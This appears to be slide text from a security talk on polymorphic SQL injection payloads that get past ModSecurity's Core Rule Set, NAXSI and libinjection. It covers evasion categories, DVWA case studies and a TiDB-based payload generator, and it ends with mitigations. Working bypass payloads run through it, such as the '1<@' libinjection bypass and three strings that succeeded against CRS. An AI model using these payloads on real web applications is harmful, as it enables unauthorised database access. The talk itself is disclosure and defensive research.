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Input Validation
Validate inputs coming from clients or from environment variables
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Filter

• Filters can be easily crafted and applied to web apps


• We can swap them in the context


• We can also modify them directly


• What can be wrong?
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• Say we want to purify users’ inputs against the SQL Injection now


• We know that inputs come from the parameter $input
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Code Example 1
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• Say we want to purify users’ inputs against the SQL Injection now


• We know that inputs come from the parameter $input


• The input will be placed into the position like


• One developer wrote a filter upon it
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Attempt
• 1'•UNION•SELECT•1,•2,•3•# 
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Code Example 2
If an attacker does find a way to bypass the limitation of the previous 

filter. How about we further limit the rest of the string?
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• Say we want to purify users’ inputs against the SQL Injection now


• We know that inputs come from the parameter $input


• The input will be placed into the position like


• One developer revised it to be an enhanced one
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Attempt
• 1'•UNION•SELECT•1,•2,•3•FROM•DUAL•# 
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Attempt
• 1'•UNION•SELECT•1,•2,•3•FROM•DUAL•# 
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We’ll recap later 🤨
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WAF

• Basically, there are many built-in rules targeting SQL Injection


• Rules get periodically updates


• No extra efforts to rewrite code logics
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• Say we want to purify users’ inputs against the SQL Injection now


• We know that the input comes from the parameter $input


• The query will be placed into the position like


• We set up a WAF service in front of our application
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Commonly used OSS WAF
ModSecurity V.S. NAXSI
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ModSecurity

• Support web servers like Apache, IIS, Nginx 
etc


• In order to become useful, ModSecurity 
must be configured with rules


• OWASP ModSecurity Core Rule Set (CRS) 
is a set of generic attack detection rules for 
use with ModSecurity
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NAXSI

• Stand for “Nginx Anti-XSS & SQL Injection”


• Specifically designed for Nginx servers


• Start with an intensive auto-learning phase 
that will automatically generate whitelisting 
rules regarding a website's behavior

 32



Agenda
• Brief introduction to


• Input Validation (Filter & WAF)


• Evasion Technique


• Polymorphism


• Concept


• System Design


• Conclusion
 33



Evasion Technique
Evasion Technique is bypassing an information security device in order to 

deliver any kinds of attack to a target
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Category

1. Case Changing


From what we’ve learned through these years, we categorize 
techniques like following
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Category

1. Case Changing


2. Replace Keywords


From what we’ve learned through these years, we categorize 
techniques like following
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3. Encoding (URL / HEX / Unicode encoding)
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3. Encoding (URL / HEX / Unicode encoding)


4. Comments, including inline comments
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3. Encoding (URL / HEX / Unicode encoding)


4. Comments, including inline comments


5. Equivalent replacements
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3. Encoding (URL / HEX / Unicode encoding)


4. Comments, including inline comments


5. Equivalent replacements


6. Special symbols (back tick, parenthesis, etc)
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Concept
Before going to Polymorphism, let me introduce Mutation
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Mutation

 43



• Take an input and apply rules to perform transformations
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• Take an input and apply rules to perform transformations


• Queries transformed through the concept of Mutation yield the same AST 
structure
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• Take an input and apply rules to perform transformations


• Queries transformed through the concept of Mutation yield the same AST 
structure


• Basically, what we’ve seen for days and what we mentioned previously in 
the “Evasion Technique” are almost of this type
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(Recap) Code Example 1
• 1'•UNION•SELECT•1,•2,•3•# 

• 1'/**/UNION/**/SELECT•1,•2,•3•# 

• 1'#%0aUNION#%0aSELECT•1,•2,•3•# 
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(Recap) Code Example 1
• 1'•UNION•SELECT•1,•2,•3•# 

• 1'/**/UNION/**/SELECT•1,•2,•3•# 

• 1'#%0aUNION#%0aSELECT•1,•2,•3•# ' or 1=6e0union select 1, 2, 3 #



Polymorphism
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• From the aspect of OO languages, it often refers to the provision of a 
single interface to entities of different types
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• From the aspect of OO languages, it often refers to the provision of a 
single interface to entities of different types


• Transform an input to numerous different representations, but retain the 
same meaning
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• From the aspect of OO languages, it often refers to the provision of a 
single interface to entities of different types


• Transform an input to numerous different representations, but retain the 
same meaning


• It means that we change parts of query while not altering its original 
semantics 🤟
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• From the aspect of OO languages, it often refers to the provision of a 
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• It means that we change parts of query while not altering its original 
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Differences between M & P
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Differences between M & P

• Replace symbols with other acceptable 
ones


• Replace fragments with equivalent-ish ones
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Differences between M & P

• Replace symbols with other acceptable 
ones


• Care about words, not the statement itself


• Replace fragments with equivalent-ish ones


• Care about the whole statement and 
fragments of it, such as predicates and 
clauses
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Differences between M & P

• Replace symbols with other acceptable 
ones


• Care about words, not the statement itself


• Various mutations can be made due to the 
flexibility of SQL language

• Replace fragments with equivalent-ish ones


• Care about the whole statement and 
fragments of it, such as predicates and 
clauses


• The number of possible equivalences is 
smaller than mutation can derive
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(Recap) Code Example 2
• 1'•UNION•SELECT•1,•2,•3•FROM•DUAL•# 

• 1'/**/UNION/**/SELECT•1,•2,•3•FROM•DUAL•# 

• 1'#%0aUNION#%0aSELECT•1,•2,•3•FROM•DUAL•# 
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• 1'•UNION•SELECT•1,•2,•3•FROM•DUAL•# 

• 1'/**/UNION/**/SELECT•1,•2,•3•FROM•DUAL•# 

• 1'#%0aUNION#%0aSELECT•1,•2,•3•FROM•DUAL•# 

(Recap) Code Example 2

' and @1:=(select 3 FROM DUAL)-0e1union select 1, 2, @1 #



What now? 🤔
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Case Study 1
Use Polymorphic SQL Injection Attack to detour

ModSecurity with OWASP Core Rule Set v3.1.0
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Environment

• Subject web application – Free Software Foundation DVWA


• OWASP ModSecurity CRS v3.1.0 – PARANOIA 1 (adequate security to 
protect almost all web applications from generic exploits)
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1' AND 1<2 UNION SELECT 1, 
version()'



1' AND 1<2 UNION SELECT 1, 
version()'



1' AND 1<2 UNION SELECT 1, 
version()'

1' AND 1<@ UNION SELECT 1, 
version()'



1' AND 1<2 UNION SELECT 1, 
version()'

1' AND 1<@ UNION SELECT 1, 
version()'



1' AND 1<@ UNION/*!SELECT*/ 1, 
version()'



1' AND 1<@ UNION/*!SELECT*/ 1, 
version()'



1' AND 1<@ UNION/*!%23{%0aALL 
SELECT*/1, version()'

1' AND 1<@ UNION/*!SELECT*/ 1, 
version()'



• This attack string “1' AND 1<@ UNION /*!%23{%0aALL SELECT*/ 
1, version()'” consists of




• This attack string “1' AND 1<@ UNION /*!%23{%0aALL SELECT*/ 
1, version()'” consists of


• a “peculiar comparison” 1<@ to replace 1<2




• This attack string “1' AND 1<@ UNION /*!%23{%0aALL SELECT*/ 
1, version()'” consists of


• a “peculiar comparison” 1<@ to replace 1<2


• an “inline comment” /*! … */ and a “normal comment” #




• This attack string “1' AND 1<@ UNION /*!%23{%0aALL SELECT*/ 
1, version()'” consists of


• a “peculiar comparison” 1<@ to replace 1<2


• an “inline comment” /*! … */ and a “normal comment” #


• an “equivalent replacement” %0a standing in for %20



1<@? What is this?
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Remember?
1<@ makes us detour the libinjection
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libinjection

• Quasi-SQL / SQLI tokenizer and parser to detect SQL Injection


• After processing, a stream of tokens will be generated


• Verified with more than 32,000 SQL Injection attacks which detects all as 
SQL Injection


• Reduce lots of false positives so as to being adopted in many WAF 
products, including ModSecurity CRS and NAXSI
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• “1' AND 1<2 UNION …” will turn into “s&1U”, 
which is listed among the fingerprints of 
libinjection
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• “1' AND 1<2 UNION …” will turn into “s&1U”, 
which is listed among the fingerprints of 
libinjection


• However, “1' AND 1<@ UNION …” will turn into 
“s&1oU”, which is not
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• “1' AND 1<2 UNION …” will turn into “s&1U”, 
which is listed among the fingerprints of 
libinjection


• However, “1' AND 1<@ UNION …” will turn into 
“s&1oU”, which is not


• o means “operator”, and we notice that “<@” is 
flagged as an operator while parsing
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• “1' AND 1<2 UNION …” will turn into “s&1U”, 
which is listed among the fingerprints of 
libinjection


• However, “1' AND 1<@ UNION …” will turn into 
“s&1oU”, which is not


• o means “operator”, and we notice that “<@” is 
flagged as an operator while parsing


• It turns out to be a pain point for MySQL for it’s a 
valid syntax for a SQL query
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libinjection Bypass
Prefix 1<@ to an attack is enough



Case Study 2
Use Polymorphic SQL Injection Attack to detour


ModSecurity with NAXSI v0.56
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Environment

• Subject web application – Free Software Foundation DVWA


• NAXSI v0.56 (latest)
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Preface

• An aggressive negative security model, 
defining a large blanket of suspicious 
behaviors
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Preface

• An aggressive negative security model, 
defining a large blanket of suspicious 
behaviors


• The existence of essentially some non-
alphanumeric chars in request content


∗ Rule id 1000 is too strict
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Preface

• An aggressive negative security model, 
defining a large blanket of suspicious 
behaviors


• The existence of essentially some non-
alphanumeric chars in request content


• Specifically targets a small subset of 
modern web app vulnerabilities (XSS, SQLI, 
R/LFI)


∗ Rule id 1000 is too strict
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Preface

• An aggressive negative security model, 
defining a large blanket of suspicious 
behaviors


• The existence of essentially some non-
alphanumeric chars in request content


• Specifically targets a small subset of 
modern web app vulnerabilities (XSS, SQLI, 
R/LFI)


• Not really flexible while we need to generate 
exceptions against known good traffic


∗ Rule id 1000 is too strict

∗ Reference: Exploring Naxsi (A Bit) 88

https://github.com/nbs-system/naxsi/issues/337
https://www.cryptobells.com/exploring-naxsi-a-bit/


Adjustment
• To our environment, we have no pre-trained whitelist available on the 

Internet


• According to NAXSI's wiki, we can turn on libinjection to whitelist false 
positives

 89
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Adjustment
• To our environment, we have no pre-trained whitelist available on the 

Internet


• According to NAXSI's wiki, we can turn on libinjection to whitelist false 
positives

https://github.com/nbs-system/naxsi/wiki/libinjection-integration


Basically, the libinjection case

 91
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System Design
It’s hard to make polymorphic payloads


What if we make it possible by systematically generating them
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Briefing
• TiDB - Open source distributed scalable hybrid transactional and analytical processing (HTAP) 

database


• MySQL 5.7 compatible lexer and parser


• It's written in Golang, so it’s cross-platform


• Transforming rules


• no_commas


• derive_conds


• …


• Syntax fixer
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TiDB

• An open-source NewSQL database that is 
MySQL compatible


• Take this feature as the function to help up 
parse the users’ statements


• Also utilize its functions to do transforming 
jobs
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Briefing
• TiDB - Open source distributed scalable hybrid transactional and analytical processing (HTAP) 

database


• MySQL 5.7 compatible lexer and parser


• It's written in Golang, so it’s cross-platform


• Transforming rules


• no_commas


• derive_conds


• …


• Syntax fixer
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Transforming Rules

• Custom transforming rules


• Apply rules to the statements so as to 
generate polymorphic payloads


• Only workable for complete statements
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derive_conds

• SELECT password FROM users WHERE id 
= 1


• SELECT `password` FROM users WHERE 
`users`.`id`=1 AND `users`.`id`<@ OR 
`users`.`id`=1


• De Morgan’s laws
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in_or

• SELECT password FROM users WHERE 
id=1 OR id=2


• SELECT `password` FROM users WHERE 
`users`.`id` IN (1, 2)
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join_where_on

• SELECT * FROM users a, posts b WHERE 
a.id = b.user_id


• SELECT * FROM users a INNER JOIN posts 
b ON `a`.`id`=`b`.`user_id`
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no_col_names

• SELECT password FROM users LIMIT 0, 1


• SELECT `Ailurophile`.`4` FROM ((SELECT 1, 
2, 3, 4, 5, 6, 7, 8, 9, 10 FROM Dual) UNION 
ALL (SELECT * FROM users)) AS ailurophile 
LIMIT 1, 1
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no_commas

• SELECT b, c FROM t WHERE a = 2


• SELECT * FROM (SELECT `t`.`b` FROM 
(SELECT * FROM t) AS t) AS Comely INNER 
JOIN (SELECT `t`.`c` FROM (SELECT * 
FROM t) AS t) AS Conflate
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Briefing
• TiDB - Open source distributed scalable hybrid transactional and analytical processing (HTAP) 

database


• MySQL 5.7 compatible lexer and parser


• It's written in Golang, so it’s cross-platform


• Transforming rules


• no_commas


• derive_conds


• …


• Syntax fixer
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Syntax Fixer
http://sqli.vulnerable.site/posts.php?id=1' OR '1'='1
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Syntax Fixer
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Prefix Fixer
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Syntax Fixer
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1' OR '1'='1
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Syntax Fixer
http://sqli.vulnerable.site/posts.php?id=1' OR '1'='1

1' OR '1'='1

Quote Fixer

Prefix Fixer

error: line 1 column 1 near "1' or '1' = '1"

'1' OR '1'='1

error: line 1 column 1 near " or '1' = '1"

'1' OR '1'='1'

SELECT … WHERE … = '1' OR '1'='1'



Steps
① Make the fragment back to a complete but artificial statement and fix 

syntax errors on-the-fly via “Syntax Fixer”
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Steps
② Parse the statement into an AST structure

SELECT … WHERE … 
id = '1' OR '1'='1'
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Steps
③ Leverage TiDB to translate the AST into a logical plan and apply mapping 

rules to generate our polymorphic statements

SELECT … WHERE …
• id = '1' OR '1'='1' 
• id = '1' OR `id`=`id` 
• id = `id` HAVING (1) 
• id = '1' OR `id` 
• …
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④ Update information of nodes from bottom to top
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④ Update information of nodes from bottom to top

SELECT     `1`,     `2` FROM DUAL
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④ Update information of nodes from bottom to top

SELECT     `1`,     `2` FROM DUAL
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④ Update information of nodes from bottom to top

SELECT     `1`,     `2` FROM (SELECT 1)a JOIN (SELECT 2)b
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④ Update information of nodes from bottom to top

SELECT     `1`,     `2` FROM (SELECT 1)a JOIN (SELECT 2)b
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④ Update information of nodes from bottom to top

SELECT `a`.`1`, `b`.`2` FROM (SELECT 1)a JOIN (SELECT 2)b
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④ Update information of nodes from bottom to top

SELECT `a`.`1`, `b`.`2` FROM (SELECT 1)a JOIN (SELECT 2)b
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Experiment go-through
• The environment is the same


• DVWA


• OWASP ModSecurity CRS v3.1 with P1


• sqlmap: 0


• Ours: 3 found


• id=1' AND 1<@ UNION /*!%23{%0aALL SELECT*/ 1, version()' 
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Experiment go-through
• The environment is the same


• DVWA


• OWASP ModSecurity CRS v3.1 with P1


• sqlmap: 0


• Ours: 3 found


• id=1' AND 1<@ UNION /*!%23{%0aALL SELECT*/ 1, version()' 

• id=1' AND {`version`(/**/SELECT left(version(), 1)>0x34)} AND '1 
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Experiment go-through
• The environment is the same


• DVWA


• OWASP ModSecurity CRS v3.1 with P1


• sqlmap: 0


• Ours: 3 found


• id=1' AND 1<@ UNION /*!%23{%0aALL SELECT*/ 1, version()' 

• id=1' AND {`version`(/**/SELECT left(version(), 1)>0x34)} AND '1 

• id=-1'<@=1 OR {x (SELECT 1)}='1
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Conclusion

 132



• Why these attacks haven’t seen often in the wild?


★ Too complex


★ Normally, an attacker can capture the flag with dumb attacks
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• How to mitigate Polymorphic Payloads?


★ Use whitelisting


★ Prepared Statements
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• Why these attacks haven’t seen often in the wild?


★ Too complex


★ Normally, an attacker can capture the flag with dumb attacks


• How to mitigate Polymorphic Payloads?


★ Use whitelisting


★ Prepared Statements


• Will other languages suffer this pain?


★ Many detections doesn't cover this type of evasions


★ Thus, most context-free languages may suffer from this concept
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Thank you ☺ 

Question?
boik@tdohacker.org


